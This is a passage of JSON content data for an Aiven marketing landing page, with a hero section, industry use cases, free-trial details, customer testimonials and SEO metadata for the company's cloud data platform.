provider."}],"markDefs":[],"style":"normal"}],"heroHasForm":false,"hideHostProviderTitle":true,"hostProviders":[{"_key":"6e11037c8012","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"5c577df00ba2","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"86a774e4573e","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"d1f0b936c6d1","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"d95f64c66505","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"}],"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Unify your data. Scale your business. With any cloud.","titleMultiColor":true,"topOverlap":false,"variant":"compact"},{"_key":"4c86a45d8ff7","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"left","iconSize":24,"icons":[{"_key":"3a868629ccab","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"c0ab97e6c8c5","_type":"block","children":[{"_key":"b726c195bd5f0","_type":"span","marks":[],"text":"Manage data across any cloud with a unified platform, choosing the best providers and services for your specific needs."}],"markDefs":[],"style":"normal"}],"title":"Multi-cloud "},{"_key":"f6c99e1711da","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3fc353d082fa","_type":"block","children":[{"_key":"bc17087cf8eb0","_type":"span","marks":[],"text":"Leverage popular open-source technology, access a vast talent pool of builders, and enjoy the freedom to use multiple clouds."}],"markDefs":[],"style":"normal"}],"title":"Open choice"},{"_key":"aa55ff38b920","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"72c043706fc1","_type":"block","children":[{"_key":"5696e67d6ef70","_type":"span","marks":[],"text":"Control cloud spend with Aiven's transparent pricing and Bring Your Own Cloud (BYOC) options on AWS, Google Cloud, and Azure."}],"markDefs":[],"style":"normal"}],"title":"Optimize costs"},{"_key":"7b84bfc0e8fd","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"bd20ee220b60","_type":"block","children":[{"_key":"650d0e9687560","_type":"span","marks":[],"text":"Deploy infrastructure in minutes and accelerate development cycles with "},{"_key":"f40f6b9e9fd9","_type":"span","marks":["ad8f93029450"],"text":"AI-powered database insights"},{"_key":"b8d662d0ad7e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"ad8f93029450","_type":"internalLink","internalLink":{"_ref":"fcb16d8d-4a32-48c4-a382-5e06a395fb53","_type":"reference"}}],"style":"normal"}],"title":"AI-driven development"},{"_key":"09a0d759621b","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2d8b2fcf31e6","_type":"block","children":[{"_key":"f64a18972c240","_type":"span","marks":[],"text":"Ensure business continuity with disaster recovery, 99.99% uptime SLA, and end-to-end security compliant with leading industry standards."}],"markDefs":[],"style":"normal"}],"title":"Resilient and secure"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","title":"Learn more"},"subtitle":[{"_key":"35f7b38dc13d","_type":"block","children":[{"_key":"f3d7fd23d24e0","_type":"span","marks":[],"text":"Every business thrives on data, but siloed systems and complex cloud management can hold you back."}],"markDefs":[],"style":"normal"},{"_key":"a99973cead27","_type":"block","children":[{"_key":"f1f927a4630d","_type":"span","marks":[],"text":"Aiven offers a "},{"_key":"fd12cd4eab19","_type":"span","marks":["e6abcbf9cde4"],"text":"unified platform"},{"_key":"63a126f97ee6","_type":"span","marks":[],"text":" across clouds to unlock the full potential of your data.\n"}],"markDefs":[{"_key":"e6abcbf9cde4","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"title":"Maximize the value of your data","topOverlap":false},{"_key":"217eca4d7121","_type":"accordion","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"headerPosition":"left","items":[{"_key":"eb2fd9b0b07c","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-86e12999ba6da5b3c8917f9c77132e62aea9246f-908x908-png","_type":"reference"}},"panelText":[{"_key":"4837f0524934","_type":"block","children":[{"_key":"ad864231e6ee0","_type":"span","marks":["strong"],"text":"Optimized Operations:"},{"_key":"ad864231e6ee1","_type":"span","marks":[],"text":" Streamline complex processes, enhance security, and minimize downtime with our unified platform."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"52abfa33338f","_type":"block","children":[{"_key":"123da0f4053e0","_type":"span","marks":["strong"],"text":"Uninterrupted Production:"},{"_key":"123da0f4053e1","_type":"span","marks":[],"text":" Achieve 99.99% uptime and seamless cross-cloud disaster recovery for uninterrupted manufacturing and supply chain continuity."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"70eb2b169b12","_type":"block","children":[{"_key":"47d8a5afb9c80","_type":"span","marks":["strong"],"text":"AI-Driven Optimization:"},{"_key":"47d8a5afb9c81","_type":"span","marks":[],"text":" Enhance workflows, speed up production, and gain real-time insights with AI-powered analytics to optimize supply chains."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5c2c8add6f12","_type":"block","children":[{"_key":"0f69c7c783310","_type":"span","marks":["strong"],"text":"Data Integration Excellence:"},{"_key":"0f69c7c783311","_type":"span","marks":[],"text":" Seamlessly integrate open-source databases and managed connectors for streamlined analytics and efficient supply chain management."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Manufacturing"},{"_key":"0f737ba058b7","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-52a3deab1eb2468fc0638e0598faf7118c014663-908x908-png","_type":"reference"}},"panelText":[{"_key":"6ccdbba82447","_type":"block","children":[{"_key":"d2198c73770e0","_type":"span","marks":["strong"],"text":"Enhance Shopper Experience:"},{"_key":"d2198c73770e1","_type":"span","marks":[],"text":" Deliver personalized shopping experiences with real-time product recommendations and offers using Aiven's event-driven architecture."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0f2bf4f47e0a","_type":"block","children":[{"_key":"69570a79ff530","_type":"span","marks":["strong"],"text":"Scalable and Cost-Effective:"},{"_key":"69570a79ff531","_type":"span","marks":[],"text":" Efficiently scale operations with transparent pricing and flexible deployment options."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f8691e83fff3","_type":"block","children":[{"_key":"30fef9f8ea0f0","_type":"span","marks":["strong"],"text":"Accelerated Innovation:"},{"_key":"30fef9f8ea0f1","_type":"span","marks":[],"text":" Rapidly develop cutting-edge retail solutions through AI-powered, real-time insights and open-source technologies."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"838f08a0dd33","_type":"block","children":[{"_key":"55bc0a4211970","_type":"span","marks":["strong"],"text":"Robust Data Security:"},{"_key":"55bc0a4211971","_type":"span","marks":[],"text":" Protect customer data with top-tier security and compliance standards (GDPR, PCI-DSS)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Retail "},{"_key":"11f3109e3b43","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-7460e721a9d018b8d94d18bc3193da2d489c7066-908x908-png","_type":"reference"}},"panelText":[{"_key":"0c335e0e0594","_type":"block","children":[{"_key":"355e54f2e8a2","_type":"span","marks":["strong"],"text":"Unify Data Governance and Security:"},{"_key":"e23f044bac9f1","_type":"span","marks":[],"text":" Centralize data governance and compliance with Aiven's platform. Enhance fraud detection and secure payments processing with robust, end-to-end security measures."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"67bfed5bf3aa","_type":"block","children":[{"_key":"128115a9d127","_type":"span","marks":["strong"],"text":"Business Continuity:"},{"_key":"791b5196c1b4","_type":"span","marks":[],"text":" Ensure uninterrupted financial operations with Aiven's 99.99% uptime, cross-cloud and cross region disaster recovery, and real-time business continuity planning."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"12b9fe735ef0","_type":"block","children":[{"_key":"4f482a8534d70","_type":"span","marks":["strong"],"text":"Data-Driven Decision Making:"},{"_key":"4f482a8534d71","_type":"span","marks":[],"text":" Optimize data processing, leverage AI for real-time data insights with our fully managed services and seamless integration capabilities."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cb0942c0304d","_type":"block","children":[{"_key":"256f540270c60","_type":"span","marks":["strong"],"text":"Streamlined Data Management:"},{"_key":"256f540270c61","_type":"span","marks":[],"text":" Efficiently manage financial data with Aiven's open-source databases, real-time data integration, and automated backups."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Financial Services"},{"_key":"a6f07eb191c1","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-4371c7aa0bd298b250c3778db511721e4ce29496-908x908-png","_type":"reference"}},"panelText":[{"_key":"ac964bf0d670","_type":"block","children":[{"_key":"d7d6d8cab2970","_type":"span","marks":["strong"],"text":"Rapid Fintech Innovation:"},{"_key":"d7d6d8cab2971","_type":"span","marks":[],"text":" Accelerate fintech development and deployment with Aiven's AI-powered tools, real-time data processing, and flexible cloud options."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"693d33c627e4","_type":"block","children":[{"_key":"5432e3f727df0","_type":"span","marks":["strong"],"text":"Optimized Cloud Costs:"},{"_key":"5432e3f727df1","_type":"span","marks":[],"text":" Achieve cost-efficiency with our transparent pricing, flexible deployment options, and support across all major cloud providers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"59f5e2dd64ac","_type":"block","children":[{"_key":"b2c2b25335760","_type":"span","marks":["strong"],"text":"Agile Development:"},{"_key":"b2c2b25335761","_type":"span","marks":[],"text":" Streamline development cycles and accelerate time-to-market with AI-driven insights, fully managed services, and automated scaling. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"392823c643ed","_type":"block","children":[{"_key":"7ecc4cf0cb580","_type":"span","marks":["strong"],"text":"Enterprise-Grade Security:"},{"_key":"7ecc4cf0cb581","_type":"span","marks":[],"text":" Protect sensitive financial data with Aiven's advanced security measures, real-time encryption, and compliance with industry standards (GDPR, PCI-DSS)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Fintech "},{"_key":"ed318be78a98","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-4d116742909dccd62a121732bd8c78dff8f57a7e-908x908-png","_type":"reference"}},"panelText":[{"_key":"5fe07ee9055a","_type":"block","children":[{"_key":"88a09088e6770","_type":"span","marks":["strong"],"text":"Unified Data Management:"},{"_key":"88a09088e6771","_type":"span","marks":[],"text":" Simplify data management across multiple clouds with our consolidated platform, ensuring real-time data accessibility and efficiency."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6183134533e2","_type":"block","children":[{"_key":"7a5801595df20","_type":"span","marks":["strong"],"text":"Scalable and Flexible:"},{"_key":"7a5801595df21","_type":"span","marks":[],"text":" Effortlessly scale software solutions with Aiven's transparent pricing, automated scaling, and flexible deployment options across all major cloud providers, achieving significant cloud cost savings. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2d5ab3ef25b9","_type":"block","children":[{"_key":"43d37e5daf290","_type":"span","marks":["strong"],"text":"Accelerated Development:"},{"_key":"43d37e5daf291","_type":"span","marks":[],"text":" Enhance developer productivity and shorten time-to-market with AI-powered insights, fully managed services, and rapid deployment capabilities. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d4d293504450","_type":"block","children":[{"_key":"8471caf2b8040","_type":"span","marks":["strong"],"text":"Seamless Integrations:"},{"_key":"8471caf2b8041","_type":"span","marks":[],"text":" Streamline development processes with Aiven's integrated tools, open-source databases, and real-time data synchronization."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Software"},{"_key":"c4d450994607","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-9560dd2f1f2743f4f0b1d5c3e483d477f90e3048-908x908-png","_type":"reference"}},"panelText":[{"_key":"a57b8d572706","_type":"block","children":[{"_key":"2fb0bc4f278f0","_type":"span","marks":["strong"],"text":"Enhanced User Experience:"},{"_key":"2fb0bc4f278f1","_type":"span","marks":[],"text":" Deliver exceptional performance with low latency and real-time data streaming across multiple clouds with Aiven's platform."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d0f2b5a81c7a","_type":"block","children":[{"_key":"d9ee0eac4f230","_type":"span","marks":["strong"],"text":"Maximized ROI:"},{"_key":"d9ee0eac4f231","_type":"span","marks":[],"text":" Optimize infrastructure costs and resource utilization with our transparent pricing and flexible deployment, ensuring significant cloud cost savings. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c61a92cb96ef","_type":"block","children":[{"_key":"fda5c764dab6","_type":"span","marks":["strong"],"text":"Real-Time Data Powerhouse:"},{"_key":"513aa170e13f","_type":"span","marks":[],"text":" Leverage real-time data processing and analytics to drive engagement and personalization for your audiences, enhancing user experience. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"30d5252379b6","_type":"block","children":[{"_key":"10814f9df31a","_type":"span","marks":["strong"],"text":"Scalable Infrastructure"},{"_key":"ede41d448005","_type":"span","marks":[],"text":": Ensure seamless performance and handle peak loads with Aiven's scalable cloud platform. Our databases and caching solutions support real-time scalability for high-traffic applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Gaming / Media "},{"_key":"be1d6f6959a5","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-6955066b1ad6a17fbda51e41ef4474bc7f07446c-908x908-png","_type":"reference"}},"panelText":[{"_key":"3b0feebde7e4","_type":"block","children":[{"_key":"f72d17a01ccf0","_type":"span","marks":["strong"],"text":"Streamlined Operations:"},{"_key":"f72d17a01ccf1","_type":"span","marks":[],"text":" Optimize business processes and enhance efficiency with Aiven's unified data management platform, providing real-time insights and seamless integration."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"784ea1ef4b8a","_type":"block","children":[{"_key":"1647b9ea0cac0","_type":"span","marks":["strong"],"text":"High Availability:"},{"_key":"1647b9ea0cac1","_type":"span","marks":[],"text":" Minimize disruptions and ensure business continuity with Aiven's resilient infrastructure, 99.99% uptime, and cross-cloud backups."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8aea693b6ffa","_type":"block","children":[{"_key":"9c29aec4945c0","_type":"span","marks":["strong"],"text":"Efficient Workflows:"},{"_key":"9c29aec4945c1","_type":"span","marks":[],"text":" Simplify data workflows and improve productivity with Aiven's integrated tools, automation, and real-time data processing."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"36492140c024","_type":"block","children":[{"_key":"c42d5f972c730","_type":"span","marks":["strong"],"text":"Rapid Time-to-Market:"},{"_key":"c42d5f972c731","_type":"span","marks":[],"text":" Accelerate project delivery and time-to-value with AI-powered insights, rapid deployment, and flexible cloud options, ensuring cost-effective solutions. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Business Services"}],"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-tr-bl","secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Free 30-day trial"},"subtitle":[{"_key":"e4443d455d47","_type":"block","children":[{"_key":"c9519175ac1e","_type":"span","marks":["strong"],"text":"Unleash the power of your data."},{"_key":"27ce9cd8d062","_type":"span","marks":[],"text":" Designed for businesses of any size and industry, our unified platform simplifies data management across any cloud. Optimize costs, boost performance, and accelerate innovation. Focus on your core business while Aiven scales with your growth, handling the complexities of your data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"fdf079a5d033","_type":"block","children":[{"_key":"dfca30de70fa","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"edb79e49d1d9","_type":"block","children":[{"_key":"a9374e21d5b9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Built for your business","topOverlap":false},{"_key":"21179f6f1f8d","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d34eb4542373b708eecdef524a641ebff99db082-2385x2054-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/platform","title":"Dive into the Aiven platform "},"roundedCorners":"rounded","text":[{"_key":"a6bc21869bec","_type":"block","children":[{"_key":"7465fd43bdc30","_type":"span","marks":[],"text":"Aiven’s unified platform streamlines data and AI workloads across multiple clouds. Our seamless integration ensures efficient management and effortless scaling for businesses of any size. Leverage AI-powered optimization to deploy technologies for streaming, storing, and serving your data with ease."}],"markDefs":[],"style":"normal"},{"_key":"62a7e02c4d3d","_type":"block","children":[{"_key":"11415a0649420","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Aiven: Your Trusted Data and AI Platform ","topOverlap":false,"variant":"mediaLeft"},{"_key":"9f1a3a465f8d","_type":"arcade","addSpaceBottom":false,"addSpaceTop":false,"arcadeHeight":56,"arcadeID":"Qu23OFL2otb0JrreOt4L","arcadeTitle":"Create service","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"id":"demo","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"1fb7218ad2cb","_type":"block","children":[{"_key":"79a8680cbf94","_type":"span","marks":["8d4de5615526"],"text":"Free plan"},{"_key":"7fdf6bd88633","_type":"span","marks":[],"text":" available with Aiven for PostgreSQL, Aiven for Valkey, and Aiven for MySQL. "}],"markDefs":[{"_key":"8d4de5615526","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"5814c900e0fc","_type":"block","children":[{"_key":"7cbf53b37d47","_type":"span","marks":[],"text":"Free "},{"_key":"f2a20cf8a846","_type":"span","marks":["b950bb1b4adf"],"text":"30-day trial"},{"_key":"a8fc4d67e044","_type":"span","marks":[],"text":" available to try all our services! Includes: "}],"markDefs":[{"_key":"b950bb1b4adf","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-trial"}],"style":"normal"},{"_key":"88a6df5f3ff6","_type":"block","children":[{"_key":"2cb63cd7f720","_type":"span","marks":[],"text":"$300 credit "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0ae95eb4cb69","_type":"block","children":[{"_key":"deb8388c45d9","_type":"span","marks":[],"text":"Unrestricted access to Aiven services"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"80542c6d07d6","_type":"block","children":[{"_key":"4dfe08f558b5","_type":"span","marks":[],"text":"If you continue using Aiven after your 30-day trial, you only pay for what you use. There are no hidden charges. You can shut it down, spin up clusters, add services, or change cloud providers at the click of a button. "},{"_key":"9074208a601f","_type":"span","marks":["bbb40cc83431"],"text":"Try it now!"}],"markDefs":[{"_key":"bbb40cc83431","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"}],"tagline":"Try Aiven for Free","title":"Get started today","topOverlap":false,"variant":"split"},{"_key":"nhsj4yzb7bc2pxyf5f2gcwgf3q3nc0z1","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"8yt1ggmlamwge2tx4et9nf1n6xby104f","_ref":"77cGJ1NZ9Y7b4XMtjpJjas","_type":"reference"},{"_key":"vf4b9gryanw0a0n8oa4mhm99pynnt015","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},{"_key":"ee6d6k04tzajqdz2g6bac4yxyv2ijk74","_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},{"_key":"vylu1d29t3qmmtp6upw9p3a9u2i37n9a","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"s0qbmadgfmm47dk6tcnnwy16wsbjn96z","_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},{"_key":"qzneq3y7n7e7fa4tblezt7lgwleebmgh","_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-t","subtitle":[{"_key":"60cc61aac53c","_type":"block","children":[{"_key":"807e2e2cd92f0","_type":"span","marks":[],"text":"Aiven empowers businesses of all sizes, from startups to Fortune 500 enterprises across diverse sectors in more than 60 countries, to create next-generation applications confidently and quickly."}],"markDefs":[],"style":"normal"}],"tagline":"Why Aiven","title":"Over 1,000 customers worldwide","variant":"logo"},{"_key":"n9722huk1qxnhj4ud8tad9nyqkyt3cf2","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"vz4rreuigkw1u4qkdzheb8b72mzlbkfc","_type":"testimonialItem","company":{"_ref":"fd143138-e6d5-4957-be92-bc996dbaa518","_type":"reference"},"content":[{"_key":"m9y17n85q6ozz0xakvmzz37enfsasdkl","_type":"block","children":[{"_key":"h34u5mcb856319icwxqh64i9j2ungt9p","_type":"span","marks":[],"text":"Doccla, a fast-growing healthcare technology startup that has provided 100,000+ virtual wards in the last two years,"}],"markDefs":[],"style":"normal"},{"_key":"xeq7l02ob1vnzc1csf0mt6fapivcdt4m","_type":"block","children":[{"_key":"gyjz1o0scm9ny6vmotfhxxdc33kbo134","_type":"span","marks":[],"text":"“The partnership between Aiven and Google makes things really easy for us. In just a few clicks, we can launch a fully managed and configured cluster Aiven service in the region of our choice. If we need Kafka in Germany, it’s done. Or if we need PostgreSQL in Paris, it’s done. "}],"markDefs":[],"style":"normal"},{"_key":"p4gima8kc7snxyzpl1fcoo3v66036het","_type":"block","children":[{"_key":"wgjel48u5i13oabcuiuhrh7m7c2p7heq","_type":"span","marks":[],"text":"As we build out our platform to reach more patients in more countries, Aiven will remain a fundamental partner. We get all that capability without the cognitive overload of managing a hugely disparate data estate across Europe.”"}],"markDefs":[],"style":"normal"}],"jobTitle":"Staff Platform Engineer, Doccla","name":"Matthew Huxtable","ytId":"Ihm0jcx_CK4"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showCompanyLogoAndTags":false,"subtitle":[],"title":"Customer spotlight","variant":"media"},{"_key":"42w40z5ehozcf0hdndyhbkyiq0n30e2v","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"aszw7m8k1xogr4adaw4spoiwu2ftebk5","_type":"testimonialItem","company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"6en3dmajfso0s7o1ubc499frvlnhnfa7","_type":"block","children":[{"_key":"sqy9b3tuqvu9jsv00961tajr68r6pvqw","_type":"span","marks":[],"text":"Priceline, the online travel agency for finding discounted rates and operates in over 200 countries and territories with 400+ airline partnerships and 300,000+ hotels,"}],"markDefs":[],"style":"normal"},{"_key":"uie27faqru4z139a80as6b116yapf018","_type":"block","children":[{"_key":"njjc10m3mseo8jx6gjhjnxyvgn9ubg2i","_type":"span","marks":[],"text":"\"With Aiven, we now have the flexibility to enormously scale to accept new data and new users and ingest everything into the analytics layer. We can get insights into the data in less than two minutes, which has helped us enable a more efficient reporting timeline. With a healthy infrastructure and stable pipeline, and the fully managed platform that Aiven provides, there are fewer production support issues that my team has to look into. It’s just working without surprises.\""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191-png","_type":"reference"}},"jobTitle":"VP of Data \u0026 Marketing, Priceline","name":"Sachin Menon"},{"_key":"ss2qu62zqc1mvhquq579b26mzqy6kvm6","_type":"testimonialItem","company":{"_ref":"84b10f5e-408f-4d38-a01a-fed765bcefc3","_type":"reference"},"content":[{"_key":"zy5kyea6klfaxj608uqtx4wujcmvyq2a","_type":"block","children":[{"_key":"jjdxv9sdc6jok7qa8epj0q02ie47n7yb","_type":"span","marks":[],"text":"Helthjem, one of the largest privately owned companies in distribution of online shopping packages, collecting and delivering more than 13 million packages across Norway,"}],"markDefs":[],"style":"normal"},{"_key":"5t54kfoqlyfyuog9t89ehap8y6s7bejc","_type":"block","children":[{"_key":"22ay5pl33urlfsll0cjs2f653gpberfl","_type":"span","marks":[],"text":"\"It’s highly data intensive. And if our capability to process that data goes down, the whole business comes to a halt. We simply cannot afford any downtime. At Helthjem we have a variety of use cases, reflected in a heterogeneous set of queries running in the database. When we face slow performance, we leverage the Aiven AI Database Optimizer to verify which indexes to apply and how to rewrite our SQL. Some of the problematic queries that originally took more than an hour are now executed in a few minutes, providing a 10x performance boost.\""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"929b9c92-65aa-4c2f-9cf0-7f54b2cb8ede","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-298e82c33737b7ee9cffe6d017664f726e2d44b9-919x227-svg","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Dave Li"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","showCompanyLogoAndTags":false,"topOverlap":false,"variant":"logo"},{"_key":"px6cc293c9aj4liqwcwlsu22i00o7vtr","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-6f1102d45db7e8803ba6d8d22897efc454bbb1e5-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Free 30-day trial"},"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"Discover our pricing"},"text":[{"_key":"xssz0a17eqomby5g7pj6jeyubb4bgcdz","_type":"block","children":[{"_key":"i0gc7xp24j6273r5j615hyp40fe3hd1r","_type":"span","marks":[],"text":"All inclusive pricing so you have no end of the month surprises.\nNo add-on maintenance, networking and storage fees."}],"markDefs":[],"style":"normal"}],"title":"Try Aiven for free","topOverlap":false,"variant":"mediaCenter"}],"internalTags":[{"_key":"42b476394b3f","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","metaDescription":"Accelerate your business with Aiven. Open-source, cloud-agnostic, data and AI platform for all industries.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-22da5521b08c529b241d9b01a3aec010441a3f11-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven: Open Source Data and AI Platform for Every Business"},"slug":{"_type":"slug","current":"/campaign/amer-abm-top150"},"title":"AMER-ABM-Top150-BK-Q2FY25"} 